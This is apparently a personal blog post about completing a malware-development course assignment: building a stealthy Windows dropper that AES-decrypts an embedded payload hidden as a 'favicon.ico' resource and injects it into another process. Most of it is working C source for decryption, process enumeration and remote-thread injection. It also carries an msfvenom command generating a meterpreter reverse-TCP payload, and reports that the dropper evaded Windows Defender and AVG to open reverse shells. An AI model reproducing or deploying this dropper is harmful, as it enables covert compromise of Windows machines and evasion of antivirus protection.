AV Evasion - a PE injection method

6 minute read


Introduction

Hi my fellows, I recently purchased a well done course on Malware Development by Sektor7, I started my journey on the fantastic world of Malwares, Code Obfuscation, Droppers and AV Evasion. I would share with you what I learned on this beautiful course posting my progress on the final assignment, reenz0h prepared for us.

The course

The learning process addresses some foundamental theoretical topics but it is based for the most on a practical approach that is what i like. It comes with a dedicated Windows 10 VM stuffed with all the tools you need for your purpouses and some templates used for the topics course and for your experiments. The course starts explaining the Droppers, what they are and how they works, next it moves on some well described obfuscation techniques and the PE backdooring process, last but not least the Injection process that took me a little bit effort to understand but it fascinated me a lot. I think that the Injection process is one of the topics you have to deep understand if you want to became a good Malware developer and/or a good Malware analyst. In the last section reenz0h mixed all the techniques explained in the course to show you how a dropper could be used to obtain the execution of your payload silently like a ninja. This is an “Essential” course so you have to go into some topics yourself but i like this type of learning approach and reenz0h is alwaays there if you need help.

The Assignment

Let’s start explaining that when you’ll finish the course you’ll have some dropper templates “ready to use” to inject and execute your payload. The injection techniques used in this course are the most known PE injection and DLL injection:



Once you finished the course, reenz0h ask you to complete an assignment that starts with turn the custom dropper you wrote during the course into a stealthy version. How could you do this achievement? reenz0h gives you some suggestion like encrypting all strings and obfuscate all function calls and payload usign AES encrypting algorithm. So let’s start.

The Dropper

The dropper has 3 basic function inside that are needed to make things working and to make the dropper more stealthy. The first funtion is the one needed to decrypt all the strings, function and payload encrypted with AES, we can call it AESDecrypt()

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}

The second function in preparatory to find the PE process to inject, the payload first needs to target a process for injection. This is usually done by searching through processes by calling a trio of Application Program Interfaces (APIs): CreateToolhelp32Snapshot, Process32First, and Process32Next. CreateToolhelp32Snapshot is an API used for enumerating heap or module states of a specified process or all processes, and it returns a snapshot. Process32First retrieves information about the first process in the snapshot, and then Process32Next is used in a loop to iterate through them. After finding the target process, the function returns its pid.

int Find(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
		hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		
		if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
          
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
        
        CloseHandle(hProcSnap);
                
        return pid;
}

The third function is made to inject the payload in the PE process indentified by the pid. After finding the target process, the malware gets the handle of the target process by calling OpenProcess.

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;
	
		RemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, RemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, RemoteCode, NULL, 0, NULL);
		
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}

Now, the last bit effort to have everything working, so first generate the payload. I choosed to use the most knowed payload for ATP and AV agents: the meterpreter reverse TCP payload: msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64.bin LHOST=<your ip> LPORT=<your port> EXITFUNC=thread second we need to encrypt it with an AES script (you can find a lot of scripts for this purpouse on the Internet) and third we define the main function and the payload storage, we encrypted the payload in a file called favicon.ico that is included in the resources.h

#define FAVICON_ICO 512

the main function could be defined by this steps:

  1. extract the payload from the resources
  2. allocate some memory space for the payload with the VirtualAlloc API
  3. copy the payload to the new memory space just created
  4. decrypt the payload
  5. fihd the pid process you want to inject
  6. open the process with the OpenProcess API and the pid
  7. inject and execute the payload
  8. close the handle
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#include <tlhelp32.h>
#include "resources.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	int pid = 0;
    HANDLE hProc = NULL;
	
	unsigned char * payload;
	unsigned int payload_len;
	
	
	// Extract payload from resources section
	res = FindResourceA(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL, res);
	payload = (char *) LockResource(resHandle);
	payload_len = SizeofResource(NULL, res);
	
	// Allocate some memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to new memory buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Decrypt payload
	AESDecrypt((char *) exec_mem, payload_len, payload_key, sizeof(payload_key));
	
	// Injection process starts here
	pid = Find("here you have to insert the name of the process you want to inject");
	
	if (pid) {
		// try to open target process
		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
		
		if (hProc != NULL) {
			Inject(hProc, exec_mem, payload_len);
			CloseHandle(hProc);
		}
	}

	return 0;
}

Tests

The course teaches to bypass Windows Defender but i want to go further and also test the dropper aginst AVG Free Antivirus.
Of course the “plaintext” version of this script works but it’s detected from Windows Defender and AVG Free AV agents, but what appens if we obfuscates all the strings and functions as reenz0h suggested in the assignment? I tested the obfuscated version of the script on different process: explorer.exe, notepad.exe and smartscreen.exe. Well i can tell you that Windows Defender didn’t detected the dropper at all also when we try to inject the payload in the explorer.exe process. Different story for AVG Free that seems monitorizes the explorer.exe process, detecting the dropper as a malicious file and moving it in the quarantine zone but only after executing the payload, so in this case you can obtain a meterpreter session but the attack is reported. No worries because instead nothing appens when we try to inject the notepad.exe, AVG scan the dropper and let it execute the meterpreter payload allowing it to popping a reverse shell on our MSF console, same story if we try to inject the smartscreen.exe process, another meterpreter session is opened without any alarm from AVG. So following the TOON rule (Two is One and One is None) learned in the course, here you can see the two injection processes at works.


and here you can find the obfuscated dropper code.
In the next post we’ll try to complete another point of the assignment hide the encrypted payload behind an image.

References

Malware Dev Essentials Course